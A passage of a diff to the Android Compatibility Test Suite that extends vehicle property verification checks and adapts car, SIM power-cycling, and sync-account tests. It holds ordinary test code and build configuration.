+            if (mRequireMinMaxValues) {
+                assertWithMessage(mPropertyName + " - area ID: " + areaId
+                        + " must have min value defined").that(areaIdMinValue).isNotNull();
+                assertWithMessage(mPropertyName + " - area ID: " + areaId
+                        + " must have max value defined").that(areaIdMaxValue).isNotNull();
+            }
+            if (mRequireMinValuesToBeZero) {
+                assertWithMessage(
+                        mPropertyName + " - area ID: " + areaId + " min value must be zero").that(
+                        areaIdMinValue).isEqualTo(0);
+            }
+            if (mRequireZeroToBeContainedInMinMaxRanges) {
+                assertWithMessage(mPropertyName + " - areaId: " + areaId
+                        + "'s max and min range must contain zero").that(
+                        verifyMaxAndMinRangeContainsZero(areaIdMinValue, areaIdMaxValue)).isTrue();
+
+            }
+            if (areaIdMinValue == null || areaIdMaxValue == null) {
+                continue;
+            }
+            assertWithMessage(
+                    mPropertyName + " - areaId: " + areaId + "'s max value must be >= min value")
+                    .that(verifyMaxAndMin(areaIdMinValue, areaIdMaxValue)).isTrue();
+        }
+    }
+
+    private boolean verifyMaxAndMinRangeContainsZero(T min, T max) {
+        int propertyType = mPropertyId & VehiclePropertyType.MASK;
+        switch (propertyType) {
+            case VehiclePropertyType.INT32:
+                return (Integer) max >= 0 && (Integer) min <= 0;
+            case VehiclePropertyType.INT64:
+                return (Long) max >= 0 && (Long) min <= 0;
+            case VehiclePropertyType.FLOAT:
+                return (Float) max >= 0 && (Float) min <= 0;
+            default:
+                return false;
+        }
+    }
+
+    private boolean verifyMaxAndMin(T min, T max) {
+        int propertyType = mPropertyId & VehiclePropertyType.MASK;
+        switch (propertyType) {
+            case VehiclePropertyType.INT32:
+                return (Integer) max >= (Integer) min;
+            case VehiclePropertyType.INT64:
+                return (Long) max >= (Long) min;
+            case VehiclePropertyType.FLOAT:
+                return (Float) max >= (Float) min;
+            default:
+                return false;
+        }
     }
 
     private void verifyContinuousCarPropertyConfig(CarPropertyConfig<?> carPropertyConfig) {
@@ -298,6 +547,10 @@
                         + areaId)
                 .that(carPropertyValue.getAreaId())
                 .isEqualTo(areaId);
+        assertWithMessage(mPropertyName + " - areaId: " + areaId + " - source: " + source
+                + " area ID must be in carPropertyConfig#getAreaIds()").that(Arrays.stream(
+                carPropertyConfig.getAreaIds()).boxed().collect(Collectors.toList()).contains(
+                carPropertyValue.getAreaId())).isTrue();
         assertWithMessage(
                 mPropertyName + " - areaId: " + areaId + " - source: " + source
                         + " value's status must be valid")
@@ -326,9 +579,97 @@
                             carPropertyValue.getValue())).isTrue();
         }
 
+        if (!mPossibleCarPropertyValues.isEmpty()) {
+            if (Float.class.equals(mPropertyType)) {
+                boolean foundInPossibleValues = false;
+                for (Float possibleValue : (Collection<Float>) mPossibleCarPropertyValues) {
+                    if (floatEquals(possibleValue, (Float) carPropertyValue.getValue())) {
+                        foundInPossibleValues = true;
+                        break;
+                    }
+                }
+                assertWithMessage(
+                        mPropertyName + " - areaId: " + areaId + " - source: " + source + " value: "
+                                + carPropertyValue.getValue() + " must be listed in the Float set: "
+                                + mPossibleCarPropertyValues).that(foundInPossibleValues).isTrue();
+            } else {
+                assertWithMessage(mPropertyName + " - areaId: " + areaId + " - source: " + source
+                        + " value must be listed in the set").that(
+                        carPropertyValue.getValue()).isIn(mPossibleCarPropertyValues);
+            }
+        }
+
         mCarPropertyValueVerifier.ifPresent(
                 propertyValueVerifier -> propertyValueVerifier.verify(carPropertyConfig,
                         carPropertyValue));
+
+        T areaIdMinValue = (T) carPropertyConfig.getMinValue(areaId);
+        T areaIdMaxValue = (T) carPropertyConfig.getMaxValue(areaId);
+        if (areaIdMinValue != null && areaIdMaxValue != null) {
+            assertWithMessage(
+                "carPropertyValue must be between the max and min values")
+                .that(verifyValueInRange(areaIdMinValue, areaIdMaxValue,
+                    (T) carPropertyValue.getValue())).isTrue();
+        }
+    }
+
+    private boolean verifyValueInRange(T min, T max, T value) {
+        int propertyType = mPropertyId & VehiclePropertyType.MASK;
+        switch (propertyType) {
+            case VehiclePropertyType.INT32:
+                return ((Integer) value >= (Integer) min && (Integer) value <= (Integer) max);
+            case VehiclePropertyType.INT64:
+                return ((Long) value >= (Long) min && (Long) value <= (Long) max);
+            case VehiclePropertyType.FLOAT:
+                return ((Float) value >= (Float) min && (Float) value <= (Float) max);
+            default:
+                return false;
+        }
+    }
+
+    private static ImmutableSet<Integer> generateAllPossibleAreaIds(ImmutableSet<Integer> areas) {
+        ImmutableSet.Builder<Integer> allPossibleAreaIdsBuilder = ImmutableSet.builder();
+        for (int i = 1; i <= areas.size(); i++) {
+            allPossibleAreaIdsBuilder.addAll(Sets.combinations(areas, i).stream().map(areaCombo -> {
+                Integer possibleAreaId = 0;
+                for (Integer area : areaCombo) {
+                    possibleAreaId |= area;
+                }
+                return possibleAreaId;
+            }).collect(Collectors.toList()));
+        }
+        return allPossibleAreaIdsBuilder.build();
+    }
+
+    private void verifyValidAreaIdsForAreaType(CarPropertyConfig<?> carPropertyConfig,
+            ImmutableSet<Integer> allPossibleAreaIds) {
+        for (int areaId : carPropertyConfig.getAreaIds()) {
+            assertWithMessage(
+                    mPropertyName + "'s area ID must be a valid " + areaTypeToString(mAreaType)
+                            + " area ID").that(areaId).isIn(allPossibleAreaIds);
+        }
+    }
+
+    private void verifyNoAreaOverlapInAreaIds(CarPropertyConfig<?> carPropertyConfig,
+            ImmutableSet<Integer> areas) {
+        if (carPropertyConfig.getAreaIds().length < 2) {
+            return;
+        }
+        ImmutableSet<Integer> areaIds = ImmutableSet.copyOf(Arrays.stream(
+                carPropertyConfig.getAreaIds()).boxed().collect(Collectors.toList()));
+        List<Integer> areaIdOverlapCheckResults = Sets.combinations(areaIds, 2).stream().map(
+                areaIdPair -> {
+                    List<Integer> areaIdPairAsList = areaIdPair.stream().collect(
+                            Collectors.toList());
+                    return areaIdPairAsList.get(0) & areaIdPairAsList.get(1);
+                }).collect(Collectors.toList());
+
+        assertWithMessage(
+                mPropertyName + " area IDs: " + Arrays.toString(carPropertyConfig.getAreaIds())
+                        + " must contain each area only once (e.g. no bitwise AND overlap) for "
+                        + "the area type: " + areaTypeToString(mAreaType)).that(
+                Collections.frequency(areaIdOverlapCheckResults, 0)
+                        == areaIdOverlapCheckResults.size()).isTrue();
     }
 
     public interface ConfigArrayVerifier {
@@ -354,8 +695,13 @@
         private Optional<CarPropertyValueVerifier> mCarPropertyValueVerifier = Optional.empty();
         private Optional<AreaIdsVerifier> mAreaIdsVerifier = Optional.empty();
         private ImmutableSet<Integer> mPossibleConfigArrayValues = ImmutableSet.of();
+        private ImmutableSet<T> mPossibleCarPropertyValues = ImmutableSet.of();
         private boolean mRequirePropertyValueToBeInConfigArray = false;
-
+        private boolean mVerifySetterWithConfigArrayValues = false;
+        private boolean mRequireMinMaxValues = false;
+        private boolean mRequireMinValuesToBeZero = false;
+        private boolean mRequireZeroToBeContainedInMinMaxRanges = false;
+        private boolean mPossiblyDependentOnHvacPowerOn = false;
 
         private Builder(int propertyId, int access, int areaType, int changeMode,
                 Class<T> propertyType) {
@@ -393,49 +739,119 @@
             return this;
         }
 
+        public Builder<T> setPossibleCarPropertyValues(
+                ImmutableSet<T> possibleCarPropertyValues) {
+            mPossibleCarPropertyValues = possibleCarPropertyValues;
+            return this;
+        }
+
         public Builder<T> requirePropertyValueTobeInConfigArray() {
             mRequirePropertyValueToBeInConfigArray = true;
             return this;
         }
 
+        public Builder<T> verifySetterWithConfigArrayValues() {
+            mVerifySetterWithConfigArrayValues = true;
+            return this;
+        }
+
+        public Builder<T> requireMinMaxValues() {
+            mRequireMinMaxValues = true;
+            return this;
+        }
+
+        public Builder<T> requireMinValuesToBeZero() {
+            mRequireMinValuesToBeZero = true;
+            return this;
+        }
+
+        public Builder<T> requireZeroToBeContainedInMinMaxRanges() {
+            mRequireZeroToBeContainedInMinMaxRanges = true;
+            return this;
+        }
+
+        public Builder<T> setPossiblyDependentOnHvacPowerOn() {
+            mPossiblyDependentOnHvacPowerOn = true;
+            return this;
+        }
+
         public VehiclePropertyVerifier<T> build() {
             return new VehiclePropertyVerifier<>(mPropertyId, mAccess, mAreaType, mChangeMode,
                     mPropertyType, mRequiredProperty, mConfigArrayVerifier,
                     mCarPropertyValueVerifier, mAreaIdsVerifier, mPossibleConfigArrayValues,
-                    mRequirePropertyValueToBeInConfigArray);
+                    mPossibleCarPropertyValues, mRequirePropertyValueToBeInConfigArray,
+                    mVerifySetterWithConfigArrayValues, mRequireMinMaxValues,
+                    mRequireMinValuesToBeZero, mRequireZeroToBeContainedInMinMaxRanges,
+                    mPossiblyDependentOnHvacPowerOn);
         }
     }
 
     private static class CarPropertyValueCallback implements
             CarPropertyManager.CarPropertyEventCallback {
         private final String mPropertyName;
-        private final int mTotalOnChangeEvents;
-        private final CountDownLatch mCountDownLatch;
-        private final List<CarPropertyValue<?>> mCarPropertyValues = new ArrayList<>();
+        private final int[] mAreaIds;
+        private final int mTotalCarPropertyValuesPerAreaId;
+        private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+        private final Object mLock = new Object();
+        @GuardedBy("mLock")
+        private final SparseArray<List<CarPropertyValue<?>>> mAreaIdToCarPropertyValues =
+                new SparseArray<>();
+        private final long mTimeoutMillis;
 
-        public CarPropertyValueCallback(String propertyName, int totalOnChangeEvents) {
+        CarPropertyValueCallback(String propertyName, int[] areaIds,
+                int totalCarPropertyValuesPerAreaId, long timeoutMillis) {
             mPropertyName = propertyName;
-            mTotalOnChangeEvents = totalOnChangeEvents;
-            mCountDownLatch = new CountDownLatch(totalOnChangeEvents);
+            mAreaIds = areaIds;
+            mTotalCarPropertyValuesPerAreaId = totalCarPropertyValuesPerAreaId;
+            mTimeoutMillis = timeoutMillis;
+            synchronized (mLock) {
+                for (int areaId : mAreaIds) {
+                    mAreaIdToCarPropertyValues.put(areaId, new ArrayList<>());
+                }
+            }
         }
 
-        public List<CarPropertyValue<?>> getCarPropertyValues() {
+        public SparseArray<List<CarPropertyValue<?>>> getAreaIdToCarPropertyValues() {
+            boolean awaitSuccess = false;
             try {
-                assertWithMessage(
-                        "Never received " + mTotalOnChangeEvents + "  onChangeEvent(s) for "
-                                + mPropertyName + " callback before 1500ms timeout").that(
-                        mCountDownLatch.await(1500, TimeUnit.MILLISECONDS)).isTrue();
+                awaitSuccess = mCountDownLatch.await(mTimeoutMillis, TimeUnit.MILLISECONDS);
             } catch (InterruptedException e) {
                 assertWithMessage("Waiting for onChangeEvent callback(s) for " + mPropertyName
                         + " threw an exception: " + e).fail();
             }
-            return mCarPropertyValues;
+            synchronized (mLock) {
+                assertWithMessage("Never received " + mTotalCarPropertyValuesPerAreaId
+                        + "  CarPropertyValues for all " + mPropertyName + "'s areaIds: "
+                        + Arrays.toString(mAreaIds) + " before " + mTimeoutMillis + " ms timeout - "
+                        + mAreaIdToCarPropertyValues).that(awaitSuccess).isTrue();
+                return mAreaIdToCarPropertyValues.clone();
+            }
         }
 
         @Override
-        public void onChangeEvent(CarPropertyValue value) {
-            mCarPropertyValues.add(value);
-            mCountDownLatch.countDown();
+        public void onChangeEvent(CarPropertyValue carPropertyValue) {
+            synchronized (mLock) {
+                if (hasEnoughCarPropertyValuesForEachAreaIdLocked()) {
+                    return;
+                }
+                mAreaIdToCarPropertyValues.get(carPropertyValue.getAreaId()).add(carPropertyValue);
+                if (hasEnoughCarPropertyValuesForEachAreaIdLocked()) {
+                    mCountDownLatch.countDown();
+                }
+            }
+        }
+
+        @GuardedBy("mLock")
+        private boolean hasEnoughCarPropertyValuesForEachAreaIdLocked() {
+            for (int areaId : mAreaIds) {
+                List<CarPropertyValue<?>> carPropertyValues = mAreaIdToCarPropertyValues.get(
+                        areaId);
+                if (carPropertyValues == null
+                        || carPropertyValues.size() < mTotalCarPropertyValuesPerAreaId) {
+                    return false;
+                }
+            }
+            return true;
         }
 
         @Override
@@ -446,4 +862,61 @@
         public void onErrorEvent(int propId, int areaId, int errorCode) {
         }
     }
+
+
+    private static class SetterCallback<T> implements CarPropertyManager.CarPropertyEventCallback {
+        private final int mPropertyId;
+        private final String mPropertyName;
+        private final int mAreaId;
+        private final T mExpectedSetValue;
+        private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
+        private final long mCreationTimeNanos = SystemClock.elapsedRealtimeNanos();
+        private CarPropertyValue<?> mUpdatedCarPropertyValue = null;
+
+        SetterCallback(int propertyId, String propertyName, int areaId, T expectedSetValue) {
+            mPropertyId = propertyId;
+            mPropertyName = propertyName;
+            mAreaId = areaId;
+            mExpectedSetValue = expectedSetValue;
+        }
+
+        public CarPropertyValue<?> waitForUpdatedCarPropertyValue() {
+            try {
+                assertWithMessage(
+                        "Never received onChangeEvent(s) for " + mPropertyName + " new value: "
+                                + mExpectedSetValue + " before 5s timeout").that(
+                        mCountDownLatch.await(5, TimeUnit.SECONDS)).isTrue();
+            } catch (InterruptedException e) {
+                assertWithMessage("Waiting for onChangeEvent set callback for " + mPropertyName
+                        + " threw an exception: " + e).fail();
+            }
+            return mUpdatedCarPropertyValue;
+        }
+
+        @Override
+        public void onChangeEvent(CarPropertyValue carPropertyValue) {
+            if (mUpdatedCarPropertyValue != null || carPropertyValue.getPropertyId() != mPropertyId
+                    || carPropertyValue.getAreaId() != mAreaId
+                    || carPropertyValue.getStatus() != CarPropertyValue.STATUS_AVAILABLE
+                    || carPropertyValue.getTimestamp() <= mCreationTimeNanos
+                    || carPropertyValue.getTimestamp() >= SystemClock.elapsedRealtimeNanos()
+                    || !valueEquals(mExpectedSetValue, (T) carPropertyValue.getValue())) {
+                return;
+            }
+            mUpdatedCarPropertyValue = carPropertyValue;
+            mCountDownLatch.countDown();
+        }
+
+        @Override
+        public void onErrorEvent(int propId, int zone) {
+        }
+    }
+
+    private static <V> boolean valueEquals(V v1, V v2) {
+        return (v1 instanceof Float && floatEquals((Float) v1, (Float) v2)) || v1.equals(v2);
+    }
+
+    private static boolean floatEquals(float f1, float f2) {
+        return Math.abs(f1 - f2) < FLOAT_INEQUALITY_THRESHOLD;
+    }
 }
diff --git a/tests/tests/car_builtin/AndroidTest.xml b/tests/tests/car_builtin/AndroidTest.xml
index 2ace59c..0588df1 100644
--- a/tests/tests/car_builtin/AndroidTest.xml
+++ b/tests/tests/car_builtin/AndroidTest.xml
@@ -18,7 +18,7 @@
             type="module_controller"/>
     <option name="test-suite-tag" value="cts"/>
     <option name="config-descriptor:metadata" key="component" value="auto"/>
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app"/>
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi"/>
 
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
diff --git a/tests/tests/car_builtin/OWNERS b/tests/tests/car_builtin/OWNERS
index a8e927d..bda2116 100644
--- a/tests/tests/car_builtin/OWNERS
+++ b/tests/tests/car_builtin/OWNERS
@@ -1,4 +1,2 @@
 # Bug component: 526266
-keunyoung@google.com
-felipeal@google.com
-gurunagarajan@google.com
+include platform/packages/services/Car:/OWNERS
diff --git a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
index 95a3d18..582772d 100644
--- a/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
+++ b/tests/tests/car_builtin/src/android/car/cts/builtin/app/ActivityManagerHelperTest.java
@@ -48,7 +48,6 @@
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Before;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -88,6 +87,8 @@
     // ActivityManager.getRunningAppProcess called in isAppRunning needs this permission
     private static final String PERMISSION_INTERACT_ACROSS_USERS_FULL =
             "android.permission.INTERACT_ACROSS_USERS_FULL";
+    private static final String PERMISSION_REAL_GET_TASKS =
+            "android.permission.REAL_GET_TASKS";
 
     private static final String SIMPLE_APP_PACKAGE_NAME = "android.car.cts.builtin.apps.simple";
     private static final String SIMPLE_ACTIVITY_RELATIVE_NAME = ".SimpleActivity";
@@ -183,8 +184,7 @@
         ComponentName activityName = task1TopActivity.getComponentName();
         waitAndAssertTopResumedActivity(activityName, DEFAULT_DISPLAY,
                 "Activity must be resumed");
-        assertWithMessage("task1 top activity has focus")
-                .that(task1TopActivity.hasFocus()).isTrue();
+        waitAndAssertFocusStatusChanged(task1TopActivity, true);
         assertWithMessage("task1 top activity is visible")
                 .that(task1TopActivity.isVisible()).isTrue();
 
@@ -269,7 +269,6 @@
                 .isEqualTo(expectedLaunchAllowed);
     }
 
-    @Ignore("b/232432706")
     @Test
     public void testStopAllTasksForUser() throws Exception {
         int initialCurrentUserId = getCurrentUserId();
@@ -279,6 +278,7 @@
             mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(
                     PERMISSION_MANAGE_ACTIVITY_TASKS,
                     PERMISSION_REMOVE_TASKS,
+                    PERMISSION_REAL_GET_TASKS,
                     PERMISSION_INTERACT_ACROSS_USERS_FULL);
 
             testUserId = createUser(CTS_CAR_TEST_USER_NAME);
@@ -290,15 +290,13 @@
             installPackageForUser(testUserId);
 
             launchSimpleActivityInCurrentUser();
-            waitUntilSimpleActivityExistenceStatusIs(true);
-            assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isTrue();
+            assertIsAppRunning(true, SIMPLE_APP_PACKAGE_NAME);
 
             switchUser(initialCurrentUserId);
             waitUntilUserCurrent(initialCurrentUserId);
 
             stopAllTasksForUser(testUserId);
-            waitUntilSimpleActivityExistenceStatusIs(false);
-            assertThat(isAppRunning(SIMPLE_APP_PACKAGE_NAME)).isFalse();
+            assertIsAppRunning(false, SIMPLE_APP_PACKAGE_NAME);
 
             removeUser(testUserId);
             testUserId = INVALID_USER_ID;
@@ -377,14 +375,17 @@
         Log.d(TAG, "installPackageForUser return: " + retStr);
     }
 
+    private void assertIsAppRunning(boolean isRunning, String pkgName) {
+        PollingCheck.waitFor(TIMEOUT_MS, () -> isAppRunning(pkgName) == isRunning);
+    }
+
     private boolean isAppRunning(String pkgName) {
         ActivityManager am = mContext.getSystemService(ActivityManager.class);
 
-        List<ActivityManager.RunningAppProcessInfo> runningAppProcesses =
-                am.getRunningAppProcesses();
+        List<ActivityManager.RunningTaskInfo> runningTasks = am.getRunningTasks(MAX_NUM_TASKS);
 
-        for (ActivityManager.RunningAppProcessInfo procInfo : runningAppProcesses) {
-            if (pkgName.equals(procInfo.processName)) {
+        for (ActivityManager.RunningTaskInfo taskInfo : runningTasks) {
+            if (pkgName.equals(taskInfo.baseActivity.getPackageName())) {
                 return true;
             }
         }
@@ -444,6 +445,11 @@
     public static final class ActivityC extends ActivityManagerTestActivityBase {
     }
 
+    private static void waitAndAssertFocusStatusChanged(ActivityManagerTestActivityBase activity,
+            boolean expectedStatus) throws Exception {
+        PollingCheck.waitFor(TIMEOUT_MS, () -> activity.hasFocus() == expectedStatus);
+    }
+
     private static int createUser(String userName) throws Exception {
         Log.d(TAG, "createUser: " + userName);
         String retStr = SystemUtil.runShellCommand(CREATE_USER_COMMAND + userName);
@@ -496,11 +502,6 @@
         ActivityManagerHelper.stopAllTasksForUser(userId);
     }
 
-    private static void waitUntilSimpleActivityExistenceStatusIs(boolean expectedStatus) {
-        PollingCheck.waitFor(TIMEOUT_MS,
-                () -> (checkSimpleActivityExistence() == expectedStatus));
-    }
-
     private static boolean checkSimpleActivityExistence() {
         boolean foundSimpleActivity = false;
 
diff --git a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
index fba6e73..5793fe2 100644
--- a/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
+++ b/tests/tests/carrierapi/targetprep/device/src/android/carrierapi/cts/targetprep/ApduScriptUtil.java
@@ -30,6 +30,7 @@
 import android.telephony.TelephonyManager;
 import android.telephony.UiccSlotMapping;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -40,12 +41,14 @@
 import java.util.Collection;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 
 class ApduScriptUtil {
     private static final String TAG = "ApduScriptUtil";
 
     private static final long SET_SIM_POWER_TIMEOUT_SECONDS = 30;
+    private static final long APP_STATE_ADDITIONAL_WAIT_MILLIS = TimeUnit.SECONDS.toMillis(3);
     // TelephonyManager constants are @hide, so manually copy them here
     private static final int CARD_POWER_DOWN = 0;
     private static final int CARD_POWER_UP = 1;
@@ -106,33 +109,77 @@
                     "Unable to determine physical slot + port from logical slot: " + logicalSlotId);
         }
 
+        Pair<Integer, Integer> halVersion = getContext().getSystemService(TelephonyManager.class)
+                .getRadioHalVersion();
+        Log.i(TAG, "runApduScript with hal version: " + halVersion.first + "." + halVersion.second);
+        boolean listenToSimCardStateChange = true;
+        // After hal version 1.6, powers SIM card down will not generate SIM ABSENT or
+        // SIM PRESENT events, we have to switch to listen to SIM application states instead.
+        if ((halVersion.first == 1 && halVersion.second == 6) || halVersion.first == 2) {
+            listenToSimCardStateChange = false;
+        }
+
         try {
-            // Note: this may wipe out subId, so we need to use the slot/port-based APDU method
-            // while in pass-through mode.
-            rebootSimCard(logicalSlotId, CARD_POWER_UP_PASS_THROUGH);
+            // Note: Even if it won't wipe out subId after hal version 1.6, we still use the
+            // slot/port-based APDU method while in pass-through mode to make compatible with
+            // older hal version.
+            rebootSimCard(subId,
+                    logicalSlotId, CARD_POWER_UP_PASS_THROUGH, listenToSimCardStateChange);
             sendApdus(physicalSlotId, portIndex, apdus);
         } finally {
             // Even if rebootSimCard failed midway through (leaving the SIM in POWER_DOWN) or timed
             // out waiting for the right SIM state after rebooting in POWER_UP_PASS_THROUGH, we try
             // to bring things back to the normal POWER_UP state to avoid breaking other suites.
-            rebootSimCard(logicalSlotId, CARD_POWER_UP);
+            rebootSimCard(subId, logicalSlotId, CARD_POWER_UP, listenToSimCardStateChange);
         }
     }
 
     /**
-     * Powers the SIM card down, waits for it to become ABSENT, then powers it back up in {@code
-     * targetPowerState} and waits for it to become PRESENT.
+     * Powers the SIM card down firstly and then powers it back up on the {@code
+     * targetPowerState}
+     *
+     * Due to the RADIO HAL interface behavior changed after version 1.6, we have to
+     * listen to SIM card states before hal version 1.6 and SIM application states after.
+     * In specific, the behavior of the method is below:
+     * <p> Before hal version 1.6, powers the SIM card down and waits for it to become
+     *     ABSENT, then powers it back up in {@code targetPowerState} and waits for it to
+           become PRESENT.
+     * <p> After hal version 1.6, powers the SIM card down and waits for the SIM application
+     *     state to become NOT_READY, then powers it back up in {@code targetPowerState} and
+     *     waits for it to become NOT_READY {@code CARD_POWER_UP_PASS_THROUGH} or
+     *     LOADED {@code CARD_POWER_UP}.
+     *     The SIM application state keeps in NOT_READY state after simPower moving from
+     *     CARD_POWER_DOWN to CARD_POWER_UP_PASS_THROUGH.
      */
-    private static void rebootSimCard(int logicalSlotId, int targetPowerState)
+    private static void rebootSimCard(int subId,
+            int logicalSlotId, int targetPowerState, boolean listenToSimCardStateChange)
             throws InterruptedException {
-        setSimPowerAndWaitForCardState(
-                logicalSlotId, CARD_POWER_DOWN, TelephonyManager.SIM_STATE_ABSENT);
-        setSimPowerAndWaitForCardState(
-                logicalSlotId, targetPowerState, TelephonyManager.SIM_STATE_PRESENT);
+        if (listenToSimCardStateChange) {
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, CARD_POWER_DOWN,
+                    TelephonyManager.SIM_STATE_ABSENT, listenToSimCardStateChange);
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, targetPowerState,
+                    TelephonyManager.SIM_STATE_PRESENT, listenToSimCardStateChange);
+        } else {
+            setSimPowerAndWaitForCardState(subId,
+                    logicalSlotId, CARD_POWER_DOWN,
+                    TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+            if (targetPowerState == CARD_POWER_UP) {
+                setSimPowerAndWaitForCardState(subId,
+                        logicalSlotId, targetPowerState,
+                        TelephonyManager.SIM_STATE_LOADED, listenToSimCardStateChange);
+            } else if (targetPowerState == CARD_POWER_UP_PASS_THROUGH) {
+                setSimPowerAndWaitForCardState(subId,
+                        logicalSlotId, targetPowerState,
+                        TelephonyManager.SIM_STATE_NOT_READY, listenToSimCardStateChange);
+            }
+        }
     }
 
     private static void setSimPowerAndWaitForCardState(
-            int logicalSlotId, int targetPowerState, int targetSimState)
+            int subId, int logicalSlotId, int targetPowerState,
+            int targetSimState, boolean listenToSimCardStateChange)
             throws InterruptedException {
         // A small little state machine:
         // 1. Call setSimPower(targetPowerState)
@@ -146,8 +193,10 @@
                 new BroadcastReceiver() {
                     @Override
                     public void onReceive(Context context, Intent intent) {
-                        if (!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
-                                intent.getAction())) {
+                        if ((!TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED.equals(
+                                intent.getAction())) &&
+                            (!TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED.equals(
+                                intent.getAction()))) {
                             return;
                         }
                         int slotId =
@@ -183,11 +232,10 @@
             uiAutomation.adoptShellPermissionIdentity(
                     Manifest.permission.MODIFY_PHONE_STATE,
                     Manifest.permission.READ_PRIVILEGED_PHONE_STATE);
-            getContext()
-                    .registerReceiver(
-                            cardStateReceiver,
-                            new IntentFilter(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED));
-
+            IntentFilter intentFilter = new IntentFilter();
+            intentFilter.addAction(TelephonyManager.ACTION_SIM_CARD_STATE_CHANGED);
+            intentFilter.addAction(TelephonyManager.ACTION_SIM_APPLICATION_STATE_CHANGED);
+            getContext().registerReceiver(cardStateReceiver, intentFilter);
             Log.i(
                     TAG,
                     "Setting SIM " + logicalSlotId + " power state to " + targetPowerState + "...");
@@ -213,8 +261,15 @@
 
             // Once the RIL request completes successfully, wait for the SIM to move to the desired
             // state (from the broadcast).
-            Log.i(TAG, "Waiting for SIM " + logicalSlotId + " to become " + targetSimState + "...");
-            if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
+            int simApplicationState = getContext().getSystemService(TelephonyManager.class)
+                    .createForSubscriptionId(subId).getSimApplicationState();
+            Log.i(TAG, "Waiting for SIM " + logicalSlotId
+                    + " to become " + targetSimState + " from " + simApplicationState);
+            // TODO(b/236950019): Find a deterministic way to detect SIM power state change
+            // from DOWN to PASS_THROUGH.
+            if ((!listenToSimCardStateChange) && (targetSimState == simApplicationState)) {
+                Thread.sleep(APP_STATE_ADDITIONAL_WAIT_MILLIS);
+            } else if (!cardStateLatch.await(SET_SIM_POWER_TIMEOUT_SECONDS, SECONDS)) {
                 throw new IllegalStateException(
                         "Failed to receive SIM state "
                                 + targetSimState
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index 49b7254..8bd1bb8 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -43,6 +43,9 @@
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
+import android.support.test.uiautomator.UiSelector;
 import android.support.test.uiautomator.Until;
 import android.util.Log;
 
@@ -140,7 +143,7 @@
                     } catch (Throwable t) {
                         if (scrollUps < 10) {
                             // The notification we search for is below the fold, scroll to find it
-                            swipeUp(uiDevice);
+                            scrollNotifications();
                             scrollUps++;
                             continue;
                         }
@@ -200,6 +203,18 @@
             50 /* numberOfSteps */);
     }
 
+    private boolean scrollNotifications() {
+        UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true));
+        if (!scrollable.exists()) {
+            return false;
+        }
+        try {
+            return scrollable.scrollForward(50);
+        } catch (UiObjectNotFoundException e) {
+            return false;
+        }
+    }
+
     private boolean isRunningInVR() {
         final Context context = InstrumentationRegistry.getTargetContext();
         return ((context.getResources().getConfiguration().uiMode &
diff --git a/tests/tests/content/IntentResolutionTestApp/Android.bp b/tests/tests/content/IntentResolutionTestApp/Android.bp
index 16159cf..79c7538 100644
--- a/tests/tests/content/IntentResolutionTestApp/Android.bp
+++ b/tests/tests/content/IntentResolutionTestApp/Android.bp
@@ -16,9 +16,9 @@
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
-android_test_helper_app {
-    name: "CtsIntentResolutionTestApp",
-    defaults: ["cts_defaults"],
+java_defaults {
+    name: "intent_test_app_defaults",
+    srcs: ["src/**/*.java"],
     sdk_version: "current",
     // tag this module as a cts test artifact
     test_suites: [
@@ -28,17 +28,22 @@
     min_sdk_version: "29",
 }
 
+android_test_helper_app {
+    name: "CtsIntentResolutionTestApp",
+    defaults: [
+        "cts_defaults",
+        "intent_test_app_defaults",
+    ],
+    additional_manifests: ["provider.xml"],
+}
+
 // Same app but with lower target SDK version and different package_name
 android_test_helper_app {
     name: "CtsIntentResolutionTestAppApi30",
-    package_name: "android.content.cts.IntentResolutionTestApi30",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    target_sdk_version: "30",
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
